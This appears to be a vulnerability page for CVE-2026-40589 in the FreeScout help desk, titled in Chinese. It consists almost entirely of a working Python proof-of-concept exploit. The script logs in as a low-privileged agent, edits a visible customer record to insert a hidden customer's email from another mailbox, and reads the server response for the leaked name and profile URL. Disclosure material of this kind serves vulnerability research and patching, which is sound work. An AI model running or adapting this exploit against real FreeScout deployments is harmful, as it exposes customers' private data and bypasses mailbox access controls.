CVE-2026-40589 FreeScout 权限提升与信息泄露漏洞

import requests # Target configuration target_domain = "https://example-freescout.com" login_url = f"{target_domain}/login" customer_update_url = f"{target_domain}/customers/{{customer_id}}/update" # Attacker credentials (Low-privileged agent) username = "[email protected]" password = "password" # The email address of a hidden customer from another mailbox hidden_customer_email = "[email protected]" # Create a session to handle cookies session = requests.Session() # 1. Login as the low-privileged agent login_payload = { "email": username, "password": password } login_response = session.post(login_url, data=login_payload) if login_response.status_code == 200: print("[+] Login successful") # 2. Edit a visible customer (Assume ID is 123 for this example) # The attacker adds the hidden customer's email to this visible profile visible_customer_id = "123" update_url = customer_update_url.replace("{customer_id}", visible_customer_id) update_payload = { "first_name": "Visible", "last_name": "Customer", "email": hidden_customer_email, # Injecting the hidden email "_method": "put" } response = session.post(update_url, data=update_payload) # 3. Check for information disclosure # The server response may contain the hidden customer's name and profile URL in the flash message if response.status_code == 200: print("[+] Update request sent.") print("[+] Response content:") print(response.text) # Look for hidden customer details in the response if "Hidden Name" in response.text or "profile" in response.text: print("[!] Vulnerability exploited: Hidden customer information disclosed.") else: print("[-] Information disclosure not detected in immediate response.") else: print(f"[-] Failed to update customer. Status: {response.status_code}") else: print("[-] Login failed")